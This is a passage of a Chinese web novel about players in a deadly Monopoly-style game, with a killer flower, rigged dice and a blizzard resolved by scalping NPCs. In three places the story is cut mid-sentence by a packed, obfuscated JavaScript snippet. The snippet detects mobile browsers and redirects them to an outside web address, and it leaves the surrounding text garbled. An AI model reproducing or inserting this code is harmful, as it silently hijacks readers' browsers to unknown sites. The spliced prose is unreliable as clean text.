云真真自以为心理素质强大,迎上他的鹰眼,余光落在他干枯粗糙、布满皱纹的脸庞上。肤色似乎很不均匀,等等……似乎是一个一个黑紫色斑块? 寒意比头脑反应得快,瞬间蔓延全身。再眨眼定睛看去,酋长黑黄的脸恢复如常,没什么异常。云真真谄媚地笑了笑,表示歉意。 幸运的是,金牛座特质掌管的NPC不愿意跟人当面计较,所有人的目光重新回到钱进手中的黄金骰子上。 钱进对这颗骰子爱不释手,翻来覆去地把玩了一会儿,甚至用牙齿轻轻咬了一下,才恋恋不舍地掷出去。 “咣当!”骰子落地,数字“4”闪闪发光,钱进难掩微笑,两个狗腿子激动地鼓起掌来。 “多做好事、多做善事,这个世间,真的存在因果报应……”钱进得意地来到6号领地,与同为土象部落的烘焙师甘甜甜一同站在金色光圈里。 【叮!2号玩家触发随机事件——朋友来了有鲜花】 公屏骤然亮起,领地旁12个印第安人拿着兽皮、骨头、木头制作而成的不知名乐器合奏起来,旋律明亮,节奏轻快,极富感染力。 甘甜甜情不自禁,跟着节奏拍手舞动起来,尽起地主之谊,对钱进表示欢迎。 “仔细听音乐。”白深低声说。 “确实很悦耳,心神都被鼓动起来了!”云真真有种随乐而动的冲动,“还是免费的高水平演奏,不用去音乐厅。金牛座,不愧是感官之王,品味颇高呀。” “不是这个意思。”白深声音又低下去一些,“忽略那些欢快的、频率高的乐器,有个类似萧的声音,声音特别低沉悲哀,音律也与整首曲子不和谐。” “炫耀你的音乐素养?欺负我不懂高雅艺术?”云真真嘴上挖苦着,耳朵情不自禁地去捕捉那个不和谐的乐器。 一层层剥离热闹的高音、欢乐的气氛,云真真闭上眼静下心来聆听。 果然,欢快轻松的背后,忧伤隐逸的黑暗渐渐浮现出来。 还没想明白曲意,酋长高举手中扬起权杖,重重顿地三下,音乐戛然而止。 女向导从发辫间解下一朵粉红色鲜花,送到钱进手中。 “这是月季花吧?”甘甜甜离得最近,好奇地观察这朵花。花瓣层叠繁复,颜色宛如早樱,着实漂亮。 “反正就是蔷薇那类的,长得都差不多。”矮个狗腿子伸着脖子搓手,对老板“因果报应”的话更加深信不疑。不然根本说不通,在这种随时会死人的游戏里,他居然凭空得到一朵令人心旷神怡的鲜花! “你……想要吗?”钱进挑着眉,单手把鲜花递到甘甜甜脸颊前。 甘甜甜眼中闪出星光,果断伸出手去接:“谢谢……” 话音未落,钱进哈哈一笑,举着花在甘甜甜面前兜了两圈,又迅速收回来,插入胸前的口袋里:“别急。游戏结束一定送给你。” 这……该作何评价?云真真极度想回收一双没看过以上场景的眼睛,小声吐槽:“根本就没想给人家,还拿出来到处乱撩!这就是高端商务人士的商业思维?拿着影子都没有的空壳项目到处拉投资、给承诺,跟骗子也没什么两样。” “你话很密。难道说,这个钱董事长,你也认识?”白深难得接话,却又是在刺探隐私。 “我这种草根,做的都是低级工作,怎么会认识如此高高在上的大人物?”云真真阴阳怪气。 “这朵花……尚不清楚是不是重要的道具,不轻易送人也情有可原。”丁卯一向客观公正。 “对。但拿出来乱晃,像那种故意不给小孩子玩具、捉弄孩子玩的糟老头子,不知道居心何在……”云真真槽还没吐完,几人都注意到甘甜甜的脸色不对。 “钱董,你听我讲,那朵花……散发出一股怪味……”甘甜甜神色骤然大变,眼中染上一丝恐惧,“花心部分好像有……什么奇怪的东西……” “哦,是吗?”钱进十分镇定,抽出鲜花,举起来上下左右翻着看,“没发现什么啊。” “就是说嘛,送给朋友的花怎么会有怪东西呢!”“钱董眼光很牛,不会看不到。” 两个狗腿子纷纷点头附和。 “你可以再确认一下,别自己吓唬自己。”钱进再次把花递到甘甜甜眼前。 甘甜甜也怀疑是没戴眼镜的缘故,特意凑近花朵,鼻尖几乎蹭到柔软的花瓣上。 “啊——”凄惨的尖叫声响起。 众目睽睽之下,一个模糊不清的影子从花心闪出来,直奔甘甜甜的脖颈,又闪电般地缩了回去。 甘甜甜的脖子上多出两个血洞,汩汩冒出鲜血。她张着嘴艰难地大口喘息,却再也发不出一丝声音,没过几秒便瘫软跌坐在地上,捂着脖子“咚”一声倒了下去。 6号领地旁边的印第安人面无表情地扯住她的头发,拖着她离开游戏区域。 【6号玩家化为流星,咻~】 【6号领地变为无人领地。】 公屏接连弹出信息。 本以为第一轮掷骰子,最大损失不过4个金币,大家相对会比较轻松。 不料死亡的阴影早已覆盖在华丽的场地中央,玩家神色各异,却都选择了沉默。 “唉,真是没想到!”钱进临危不乱,率先打破沉默,摇头叹着气,把花瓣一片片翻开展示给其他玩家看,“这是怎么回事?我进入她的领地,她送给我花表示欢迎,最后她却死了!” 【2号玩家花费10金币买下6号领地。】 钱进以冷静的商业头脑,迅速把6号领地据为己有,手里还剩下4个金币。 如果接下来的玩家,没人进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14301116|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入他的领地,而下一轮掷骰子他进入别人的领地,他就会因为金币为0而游戏失败。他为什么如此自信…… 那朵奇怪的鲜花,为什么他看的时候没有异样,而甘甜甜看时却遭到了攻击? 只要甘甜甜失败,他就可以买下领地。拥有更多领地,意味着有更大几率收取过路费。 云真真眯起眼看向他胸前的杀人鲜花。层层叠叠的花瓣,明黄色花蕊…… 不对!她发现了一丝异样:花的颜色,似乎深了一些!刚才明明是偏白的淡粉色,现在已经接近粉红! “丁哥,你应知道这花的学名。”云真真语气突然严肃起来。 丁卯微微点头,把笔记本翻开,写字的一面朝向白深和云真真,上面有三个大字:五月花。 三人心照不宣。这朵由英国人培育出来的蔷薇科植物,目的显然并非“赠人玫瑰,手有余香。” 五月花号,印第安人……云真真开始深挖血色大富翁中“血色”的含义。 四百年前,100多个英国清教徒出走英国,乘船登录北美。 “五月花号”正是那艘船的名字。 这是有毒的花朵,吸血的花朵,罪恶的花朵,是印第安人血流成河的开端。 如此细想,猎金者……似乎不是什么好身份。 但没有人能阻止五月花号登陆,血色大富翁游戏仍然要继续。 从3号矮狗腿子开始,玩家们开始依次掷骰子,空气中飘荡着谨慎和警觉。 “富人……已经拥有高于平均数的金币,还要如此贪得无厌。”云真真眯起眼睛。 “你是不是……对富人有什么偏见?不是所有人都这样。”白深皱眉。 “是是是,我仇富!甘甜甜和钱进,属于同一部落,互助才对。大富翁钱进,把看似团队战的游戏,彻底撕破成个人战了。”云真真话锋一转,眼神中闪动着几丝狡黠,“怎么样,白哥,救全员的大业已经破灭,你该好好想想歼灭那个部落了。我的,丁哥的,还是你自己的?” 白深不再争辩,悉心观察着场上的局势。 3号矮狗腿子掷出“2”,交出4金给模特刘美心,5号刘美心又掷出“3”,将刚到手的4金拱手交给了8号冷观。 8号冷观运气不错,一步一步走进云真真的领地——同为水象部落不用交钱。 丁卯只掷出“1”,向白深奉上4金。 白深和云真真分别掷出骰子后,却在钱进的2号领地再次相遇,每人向钱进奉上4个金币。 第一轮掷骰子之后,所有玩家的金币持有数显示在公屏上。 1号高狗腿子:6(当前位于2号领地) 2号钱进:12(当前位于6号领地) 3号矮狗腿子:6(当前位于5号领地) 4号:无人领地 5号刘美心:10(当前位于8号领地) 6号:钱进领地 7号:无人领地 8号冷观:14(当前位于12号领地) 9号:无人领地 10号丁卯:6(当前位于11号领地) 11号白深:10(当前位于2号领地) 12号云真真:6(当前位于2号领地) 8名玩家中,只有钱进一人独拥2块领地,金币数量也处于优势。 “你觉不觉得,钱进有问题?他早就料定,有人一定会进入他的领地。”云真真微微侧目,视线穿过白深的肩头,望向钱进那张道貌岸然的脸。 同位于2号领地的第三个人高狗腿子不以为然:“你可别乱信口胡说,这游戏就是靠运气,运气也是实力的一部分!” 17. 血色大富翁(4) 【现在开始第二轮掷骰子游戏。猎金加速! 注意:本轮从12号玩家开始,依次逆序掷骰子。】 上一轮云真真最后一个掷骰子,这一轮变成了第一个,此刻骰子还拿在手中。 她并不着急掷出去,而是学着钱进的样子,夸张地摆弄起黄金骰子,一会儿高举到头顶皱眉仰视,一会儿平举着眯起一只眼睛瞄准,一会儿学起马戏团的小丑,左右手交替扔起花样。 身旁的高狗腿子忍了半天,憋着笑说:“你快投出去吧……作法呢?噗呵呵……我们钱董,从来不信什么牛鬼蛇神,他说过,这都是因果。” “太深奥的不是学不会嘛,表面功夫还能比划比划!”云真真摆出一副天真无邪的模样,张开嘴呲出两排小白牙,作出咬骰子的模样。 骰子接近牙齿前一瞬间,云真真的幼稚病突然痊愈。脸上挂着八分正气,举止动作优雅,新的英雄——电视购物员上线了。 她带着专业的笑容,极尽所能向全场玩家尽情展示黄金骰子的每个面、每个细节。 大家对这一系列奇怪的举动表现出不同反应。 矮狗腿子和模特刘美心一脸不解,时而露出“你智商是不是有什么问题”的怀疑;丁卯和冷观仔细盯着骰子,若有所思;白深依然面无表情。 唯有钱进,笑容中时不时透露出几分尴尬和掩饰,时不时低头拍拍身上莫须有的灰尘。 咕咚……电视购物秀终于播放完毕,骰子被高高抛起,掷了出去。 “4”。云真真再次落入钱进的领地。 11号丁卯掷出骰子。“4”。 10号白深掷出骰子。“4”。 8号冷观掷出骰子。“4”。 稍微有点常识的人都清楚,事情开始不对劲了。 “4”朝上的概率是1/6,连续4个人都掷出同一个面的概率,1/1296。 如果场上现存8名玩家全部掷出“4”,概率将达到1/1679616。 云真真刚才一番夸张的表演,是在提醒大家:快看快看,有人在骰子上做了手脚! 上一轮,钱进在骰子上留下了两排牙印。如果足够细心,一定能在拿到骰子的时候看到、摸到,甚至闻到一股口水臭。 云真真真正想传达的信息,就是这个牙印。 她最后一个投出骰子之后,牙印却在顷刻之间凭空消失。 黄金骰子再次完美无瑕,哪个面都闪烁着诱人的金光。 她的头脑飞速转动着。 第二轮中,若所有玩家都投出“4”,获益最大的人显而易见是钱进。 自己、丁卯、高狗腿子三个人,捆绑成一个大血包,不停进入钱进的领地,持续向他输血,直至被吸干,失去领地。 钱进再用这些吸来的血,去蚕食掉一块一块原本不属于自己的领地,完成商业帝国的积累与扩建。 和现实中并无太大分别。 占有、积累与扩张,是金牛座的安全感的源头。 棋手下棋,往往是走一步看三步。 金牛座钱进布局的这盘棋,从第一个人掷骰子的那一刻起,就已经开始了。 联想到白深曾经使用的【秩序重置】等道具,云真真敢肯定,财大气粗的钱进使用了道具。 个人面板突然被唤出。 【本场游戏【8】号玩家向您分享面板信息,是否同意?】 8号?水象部落的唯一队友,低调到几乎没有存在感。名字倒是有点意思——冷观冷观,冷眼旁观。 反正看看又不花钱,云真真当然选择同意。 【8号玩家正在使用中阶星座技能【技能窥探】,探测到2号玩家已使用道具【3】个:】 【星座道具一:留痕标印】 【作用:在任意物体上留下自己的痕迹(如咬痕、抓痕、气味等),物体将被短暂认定为私人财产,可按照心意自由操作。当他人接触该物体之时,可无视他人操作,控制该物体。(限3次) 狮子座的领地意识很强,最好不好和它们抢东西!】 留下痕迹……好在他留的是牙印,没有效仿狗占地盘。云真真生出一丝侥幸,继续向下看。 【星座道具二:五月之花(金牛座副本6专属道具)】 【作用:持花玩家进入他人领地且他人也位于自己领时,可使用五月之花攻击领地所有者,将领地变为无人领地后占有。(限2次) 你当他是朋友,他看上的却是你的领土。】 这就是大富翁游戏里的财神了,钱进这个人,真是走了狗屎运…… 【星座道具三:绝对公平】 【作用:面对统一操作时,确保所有人得到指定的相同结果。 切莫在天秤座面前厚此薄彼。】 关闭个人面板,云真真所有的疑问都有了答案。 她以钱进的视角展开思考: 第一回合时,将【留痕标印】用在自己、云真真和白深身上。高个狗腿子运气不好,已经率先进入2号领地,只要再把云真真和白深限定在2号领地,就能同时收获3个血包。 自己来到6号领地,本意是不想缴钱,却意外得到了五月之花,毫不犹豫地将6号领地据为己有。 第二回合,则是第一回合的后续战术。相同部落之间相差“4”。上一回合交钱的,这一回合还得继续交钱。 从钱进的脑子中挣扎出来,云真真又开始思考冷观这个人。 他主动分享信息,究竟有什么目的,又想得到些什么?他有没有向其他玩家分享探测游戏信息?毕竟天下没有免费的午餐,成年人的世界,可只有利益交换。 想着想着,云真真脑海里突然浮现出一只蓝色拖鞋、一头黄毛和一袋豆浆泡包子。她轻轻甩头,重新直视冷观,却只看到他压得极低的黑色帽檐。 游戏有序进行,5号刘美心、3号矮狗腿子、2号钱进、1号高狗腿子,毫无意外掷出了“4”。 第二轮掷骰子之后,所有玩家的金币持有数显示在公屏上。 1号高狗腿子:2(当前位于6号领地) 2号钱进:24(当前位于10号领地) 3号矮狗腿子:6(当前位于7号领地) 4号:无人领地 5号刘美心:6(当前位于12号领地) 6号:钱进领地 7号:无人领地 8号冷观:14(当前位于4号领地) 9号:无人领地 10号丁卯:6(当前位于2号领地) 11号白深:6(当前位于6号领地) 12号云真真:6(当前位于6号领地) “穷者越穷,富者越富。”云真真扫视公屏信息,挑眉看向白深,“想更多的人存活下来,某个部落的人就得快点死光。” 更何况钱进还能再使用一次【五月之花】。 同位于6号领地的高狗腿子金币只剩下2个,位列最后,已经率先踩上了明晃晃的刀尖。 他眼巴巴地看着钱进,嘴唇微微颤抖,艰难挤出一丝笑容:“钱董一定不会对我坐视不管……他说过,出去后我会升职。只要有钱,乡下的爸妈就不用天天泡在田里,女孩子就不会因为只能请她吃快餐而跟我分手……” 钱进背手沐浴在10号领地的金色光圈中,眼里依然闪烁着金光,看不清楚表情。 “世界上的可怜人很多。”云真真叹了口气,不咸不淡地说了一句。 言外之意,其实也不缺你一个。 白深的眉宇间笼罩上一丝不易察觉的烦躁。凭借一身察言观色的好本领,云真真捕捉到了。 该让哪个部落快速灭亡,换取其他部落最大限度存活,他应该考虑清楚了。 火象部落,剩下1号高狗腿子和5号模特刘美心2人。没有熟人。 只是……钱进这个道貌岸然、吃人不吐骨头的伪君子,却和丁卯同一部落。 云真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335727|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真点开个人面板,嘴角轻轻勾起。 道具【暴力抢夺】状态:可使用。 “酋长,第三轮开始之前,我有一件事想问问。”丁卯敲着笔记本封面,“咱还是有议事制度的吧?” 酋长和一左一右两个向导同时向丁卯转头,转动过程中,速度、角度、表情格外一致,僵硬机械,像三个同时按下开关的机械人偶。 除了与玩家斗,差点忽略了NPC!一阵冷意入侵,云真真裸露在外的肌肤起了一层鸡皮疙瘩。 “如果有的猎金者,私下使用手段,破坏猎金公平,规则里是否允许?”丁卯丝毫不在意诡异表现的3个人。 看来,冷观也向他分享了信息。 “公平……”酋长的眼神空洞,声音干枯渺远,“太阳神、雨神、土地神,宇宙间一切神明,都是公平、最至高无上的……如果雄鹰之地土地肥沃,灵蛇部落却寸草不生,是神降下天罚,错,一定在我们……” 【叮!随机事件发生——凛冬将至】 公屏骤然跳出,白色大号字体位列正中间,四周应景地飘起雪花,数量越来越密,速度越来越快。 一朵电子雪花绕着“冬”字转了几圈,像3D特效一般飞出公屏,落在云真真的小臂上。 晶莹的六个瓣接触温暖的小臂,融化成一小滴水,冰冰凉凉。 越来越多雪花飞出屏幕,寒风也呼呼吹了起来,场内温度极速下降。 “阿……嚏!”丁卯一连打了好几个喷嚏,“不会是我说错了话,引发出随机事件吧?” “不是你。上次随机事件发生,写明是由2号玩家触发的。这次什么都没写……”云真真抱着双臂取暖,顺便安慰下他。 “天罚,这是天罚……”酋长张开双臂,仰头望天,膝盖下沉,跪在黄金地板上。 两名向导和领地旁的印第安人,咕咚、咕咚,一个接一个,多米诺骨牌一般依次跪下,表情也像是被冻住,空洞僵硬。 顷刻之间,雪花在地板上铺了薄薄一层,玩家们呼吸之间也带上了白气。 “游戏快点继续!”位于12号领地的模特刘美心表现得最为激动,“我这双腿,万万不能被冻伤……” “骰子被冻住了!”黄金骰子此刻拿在高狗腿子的手上,结了厚厚一层冰。 高狗腿子的眼中闪着光芒,激动地大喊,“用不了,用不了了!游戏被冻住了!哈哈哈哈……” 他松开双手,骰子包裹在水晶冰棺里,竟然悬浮在空中纹丝不动。 “到底要怎么样,才能继续下去?”刘美心带上了哭腔。她的美腿上只穿了薄薄一层丝袜,膝盖附近冻得通红。再这样下去,腿被严重冻伤,走T台怕是困难了。 “游戏设计的初衷,不该是让我们冻死在这里。”丁卯在笔记本上写写画画,碎碎念,“金牛座……物质……价值观……唔,我分析一下……” “谁能告诉我!快点告诉我!怎么才能让温度恢复正常!”刘美心大喊着,突然发疯地转过身,双手按住跪在地上的印第安人肩膀,拼命摇晃着。 印第安人始终低着头,僵硬沉默,纹丝不动,似乎也被无形的冰棺包裹住。 “大哥,既然你不怕冷,衣服借我穿一下哈!”云真真灵机一动,小心翼翼地蹲下,试图脱下印第安人的兽皮衣服。 “哈哈哈……说到疯狂,还是得看女人。”钱进双手插兜,密切观察着云真真的一举一动,似乎在期盼什么发生。 “拿去。”一件米色外套丢在云真真脚下。 云真真抬头,对白深抛出一个“多管闲事”的眼神。 她只是在装模作样。怎么会有人龇牙咧嘴费力半天,连一只袖子都拖不下来? 目的自然是抛砖引玉,看谁先忍不住效法自己,又会产生什么后果。 在印第安人的地盘上,掠抢印第安人的财物,后果可想而知。 白深显然又洞悉了自己的想法。 这个扫兴且无趣的圣母。 18. 血色大富翁(5) 钓鱼这回事,只要钓得有技术,总有鱼儿愿意上钩。 更何况是饿到极点、几乎丧失理智的鱼儿——刘美心。 刘美心立刻效法云真真,拼命拉住印第安人的兽皮衣服,疯狂地撕扯着。 “冷静一下,这样做存在风险。”白深忍不住出面制止。 “冷静?”刘美心冷笑,并未停止手上的动作,“你们不靠腿吃饭,当然可以冷静下去!” “抢NPC的东西……阿……嚏……确实不是最优解。”丁卯边打喷嚏边劝说。 “NPC,NPC,他们是人是鬼都不知道!”刘美心陷入癫狂状态,更加疯狂地撕扯兽皮衣服,印第安人的身体像一块朽木,随着她的动作来回摇晃。 “你的衣服,送去给她啊!”云真真眼睛扫向地上的衣服。除非演戏,否则她不习惯扮演那种柔弱的小女生,楚楚可怜穿上男人宽大的衣服,忽闪着大眼睛连连感谢。 白深抛出一个“不想理你”的表情。 温度越来越低,积雪完全覆盖住脚面,黄金铺就的地板,已经完全被掩盖住了,在此刻一文不值。 “咕咚!”刘美心身后的印第安人终于直挺挺栽进雪中,一动不动。他身上那块辨认不出原本颜色的兽皮,已经紧紧裹在刘美心的双腿上。 “啊——!!!”刘美心突然大声尖叫起来,向后跳了几步。 倒地的印第安人位于12号领地,正对着云真真所在的6号领地。远远看去,他似乎化作一滩红色,在皑皑白雪中格外刺目。 那是一具被剥掉皮的躯干。不断渗出的鲜血,穿透红色的肌肉和黄色的脂肪,流淌到白雪上。 “啊……哈路啊……”酋长突然带头吟唱起一段古老而悲伤的旋律,躯干有节奏地舞动着,似乎是在乞求,又像是在控诉。 “神明降怒,四月飘雪!”酋长拄着权杖站起身来,声音激昂,“勇士们,献祭的时刻到了!男子百元,妇幼减半!请将头高高昂起、最接近太阳,以血肉之躯,供奉神明,洗清罪恶!” “男子百金,妇幼减半!” “男子百金,妇幼减半!” …… 全体印第安人齐声高呼意义不明的话语三遍,酋长高举的手突然僵在空中,两位向导、剩下的印第安人也如同被下了定身咒,任凭雪花落在睫毛上,如同蜡像馆的展品。 雪下得更大了,几乎遮挡住视线。 “这是什么意思?”刘美心颤抖着,尽可能离无皮印第安人远一些,“这……到底是什么皮?怎么不起作用,像把冰块贴在了腿上……到底怎么做才能让游戏继续下去!!!” 手指变得僵硬,脚也开始麻木,云真真开始原地高抬腿,丁卯也踏着滑稽的步伐。 想清楚那张究竟是什么皮之前,没有人说话。只听见踩雪的咯吱咯吱声。 “雪越下越大,我们就要集体冻死在这里了!”高狗腿子终于忍不住哆嗦着,“钱董事长,您一定知道吧?” “‘男子百金,妇幼减半’是条重要信息。意思是不是说,男人要有100个金币,女人孩子要有50个金币。但我们现在就剩下7个人,合计来也只有70金……从哪能搞到的金币呢?”钱进也冻得满脸通红,用“金钱可以解决一切”的等方式进行思考。 “把金币集中我这里!女人只要50金!我拿到50金,就能让游戏进行下去了……”刘美心如同抓住救命稻草,眼里闪烁着疯狂地光芒。 其余玩家选择集体失聪,没有一个人响应。 “你们都聋了吗?啊?”刘美心突然离开领地,跌跌撞撞来到4号领地的冷观面前,胡乱翻起他的大衣口袋,“钱在哪里?快给我,给我试试!” 冷观重重一推,刘美心一个踉跄,跌在雪中。 “潘多拉魔盒,你打开了。”冷观有着清澈的少年音,话语却丝毫不留情面,“让游戏继续的办法有好几种,但你主动选择了人!祭!——通过剥下那个人的皮。” “我?……选择?”刘美心抱着双膝浑身颤抖,“我只是想保护我的腿!顶级模特都会为双腿投下昂贵的保额,但我没有!一旦双腿冻伤,我就会一无所有……” “冷观同志,你还有什么高见,可否探讨一下?”丁卯挥手制止住刘美心,“人祭,是祭谁,怎么祭?” “当然是祭她了。”云真真故意指着地上瑟瑟发抖的刘美心,“要么,就祭上最富有的玩家。这里是金牛座副本,要么和钱挂钩,要么和美沾边儿。” 白深深叹一口气,他知道她又在故意使坏。他跨出领地,把惊恐的刘美心带回12号领地,顺便带上了云真真拒绝穿上的衣服。 “当然不可能是祭出我!”钱进不自然地笑着,“实话告诉大家,我的技能点都加在了金牛座,这是我的主场!刚进入游戏,系统就选我成为本场游戏的幸运者,被格外允许使出3个道具。你们也都知道,一场游戏,最多能使用两个道具……” “你用了什么道具,钱董?用了几个?”云真真明知故问,“是不是有道具能够帮助大家尽快通关?” “唔……我再查看一下道具,”钱进目光定在空中的一点,似乎在看个人面板,“目前看来,下雪这件事……没有合适的道具,但我再找找,有些道具一定用得上!” 丁卯大概率知道了他在撒谎,直接打断后开始普及历史知识:“‘五月花’号登陆美洲后,也遭遇到了寒冬。是当地的印第安人,送财送物送土地,救了他们。” “但是后来,越来越多的白人到达美洲,盯上了印第安的黄金、土地和美女。只要尽可能多杀掉印第安人,就能更多获得这些……” 冷观点点头,大半张脸依然藏在帽子里:“漂亮国曾经悬赏,上交一张成年印第安人的头皮就可以获得100美元,妇女和小孩的头皮可获得50美元。” “男子百金,妇幼减半,这提示再明显不过了!解法就是割下他们的头皮!对于印第安人来说,牺牲自己,就对上了酋长所说的‘献祭’!那还等什么,等着被冻死?大家快点动手!”钱进终于表现得轻松起来,一把揪住领地后方印第安人的头发。 “杀人,掠夺土地和财富。”漫天雪花遮不住云真真更为冰冷的声音,“您还真是轻车熟路。” 钱进的动作顿住了。 “如果推断正确,割下来的头皮,还需要放在正确的位置上。‘将头高高昂起、最接近太阳’之处会是哪里?”云真真将话题拉回来,环视四周,似乎在寻找那个正确的位置。 “太阳是金黄色,黄金也是金黄色,是不是放在地上?”高狗腿子皱起眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369329|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分析着。 “那‘高高昂起’又该怎么解释?地板好像也不高啊?”矮狗腿子单手托腮,鼻涕一直流。 云真真用胳膊肘撞了撞白深,指向天花板正中央的巨型水晶灯:“麻烦你上去看一下。” 白深仰头,视线穿越层层雪花,努力辨认着水晶灯灯体构造。 中心底座是一个黄金大圆盘,各色水晶镶嵌其上。圆盘周边垂着形状繁复、数量众多的水晶坠,呈放射状排列! 的确像一个太阳的图腾! “你身体素质、核心力量和平衡感怎么样?”白深沉思片刻,侧头问处在同一领地的高狗腿子。 “乡下长大的孩子,身体素质差不了。”高狗腿子难得展现出自信,拍了拍胸脯。 白深拉着他走到水晶灯正下方,指向上方:“我托举你上去,你去查看水晶灯。” “上去是没问题,但具体要查看什么啊?”高狗腿子疑惑地挠了挠头。 “你蹲下,你回去。”云真真跟了过来,伸出食指先指向白深,又指向高狗腿子,一脸嫌弃。 黑色亮皮高跟鞋不由分说地踩上了结实的大腿肌肉。 “你站起来啊!我够不着。”云真真低头训斥白深。 白深伸出手臂,稳稳抱住云真真脚腕处,把她的小腿托举到胸前位置,缓缓站起身来。 云真真向上伸直双手,眼看便要触碰到水晶吊坠,白深却已经完全直立起来,停在原地。 “个子怎么这么矮?”云真真丧气地垂下双臂。 “我……1米87,在现存玩家里最高。可能是你差了一些。”少言寡语的白深难得反击,除非忍不住。 “说我个头矮?没关系,我会自己爬得更高!”云真真不服输地抽出右脚,高跟鞋重重踩在白深的右肩膀上。 “你别乱来!下来,我把你托上去。”白深肌肉紧绷,努力维持着平衡。 话音未落,云真真的左脚也利索地踩上了白深的左肩膀。 旁边的高狗腿子看得目瞪口呆:你俩耍杂技还是进行美高拉拉队训练?难道说……我也是你们play的一环? 牛皮鞋底很薄,云真真明显能感觉到脚下的肌肉绷得更紧、结实坚硬,如同站在平整的水泥地上般踏实,脚踝也被两只有力的手紧紧握住。 云真真顺势踮起脚尖,指尖飞快拨弄着水晶灯吊饰。水晶互相碰撞,发出清脆的叮铃叮铃声。 鹅毛大雪纷扬飘洒,声音叮当作响,这份冬日特有的景色与旋律,竟然让这怪异的空间透出几分圣诞节的氛围。 云真真的手指穿梭在水晶吊饰之间,不自觉哼起《铃儿响叮当》等一系列与雪相关的歌。 金牛座审美是一绝,副本都设计得异常漂亮。 白深觉得她过于悠闲,想抬头一同观察,又怕仰视视角有占便宜嫌疑,只能默默平视前方,乖乖做好云真真“往左边点、向前走0.3米”之类的号令。 “发现什么没有?太……冷了……快要坚持不住了……”刘美心裹在白深的外套里缩成一团,嘴唇的颜色乌黑发紫。 “雪一片一片一片一片,拼出你的我缘分……!”云真真坚持唱完最后一句,潇洒地弯曲膝盖,拨开白深紧扶在脚踝上的手,纵身一跳,稳稳落在五六厘米深的积雪中。 19. 血色大富翁(6) 期盼的目光包围着云真真,她似乎变成了白茫茫雪灾之中能唯一能发光发热的救星。 但她不慌不忙地整理起衬衫袖口,又拍拍落在身上的雪花。 “那个……小云啊,”钱进清了一下嗓子,指向头顶上的水晶灯,“‘高高昂起、最接近太阳’的地方,就是在那儿吧?你发现了什么?” “钱董,你也可以亲自查看的呀。”听不出云真真是阴阳怪气还是在陈述事实。 看到丁卯的鼻头红紫到发黑,云真真才慢吞吞伸个懒腰,摊开手掌,露出一个黑乎乎的刀片形状的东西:“太阳灯里找到的,一个格格不入的东西。” “这是……黑曜石刀!”丁卯抓过短刀,翻来覆去地看,“刀柄好像是鹿角,在古印第阿兹特克族的祭祀文化中,这是用来……” “自然是割头皮用的!从太阳灯上找到的。”云真真飞快打断丁卯的话,似乎在防止他透露出更多信息,“上面有钩子,就藏在那些水晶吊饰里。显然是用来吊头皮的!” 病急乱投医,刘美心最怕失温,对云真真的话没有一丝怀疑。她一把抢过短刀,哆哆嗦嗦冲向已成为一滩红色的印第安人。 “割头皮,意味着我们变成了侵略者……”丁卯轻轻摇了摇头。 “都是为了生存!生存本就不易,何况这是一个游戏!没事没事。”钱进把事实合理化。 “体验也太过真实了。”丁卯又翻开笔记本,手指冻得像一根胡萝卜,写起字来歪歪扭扭。 “也许,这就是副本想传达的内容。”白深看向酋长的方向,“土地被占有,族人被屠杀,我们的身份是淘金者,后来……就成为‘侵略者’。” 云真真早就察觉到这一点。当然,她不会主动分享出来。 金牛座是黄道十二星座中第二个星座。如果是白羊座代表“自我的诞生”,金牛座就来到“我所拥有的东西”。 金牛特质强的人会强烈捍卫他所拥有的东西,不仅仅是物质。 还包括更深刻的东西:价值观。 刘美心显然停留在“物质”阶段,尤其是美好的物质——捍卫她的美腿。为此,她愿意亲手割下他人的头皮。 “没用的东西!”刘美心一瘸一拐跑离12号领地,“不光皮肤,他连一块头皮也没剩下!” “女人啊!”钱进笑得像个看穿世事的智者,“刚才怕得要死,现在抢着割人家的头皮!” “她只是想保护她的美腿。”云真真怼回去,意有所指,“那是她自己的一部分,又不是要强占别人的东西。” 笑容僵在钱进的脸上,化作一缕尴尬。随后,他便带着高矮两个狗腿子一同割头皮去了。 带着头发、血淋淋的头皮一张张依次铺开在洁白的雪地中。 云真真清点一番,共十张。 “12号领地那印第安人没有头皮。除此之外,还有一个印第安人,把甘甜甜拖走之后,就消失没有再回来。”高狗腿子解释着。 “先挂上去再看。”云真真叹了口气,此刻才公布重要信息,“太阳灯上面,一共有12个空钩子。” “你……”高矮狗腿子开始质疑,“12个钩子,10张头皮,你怎么不早说?万一需要的不是头皮呢?” “就当玩好了。不然也是等着被冻成冰棍。”云真真冷笑。她清楚,开始就说出钩子的数量,一定不能如此顺畅快速地收集齐头皮。 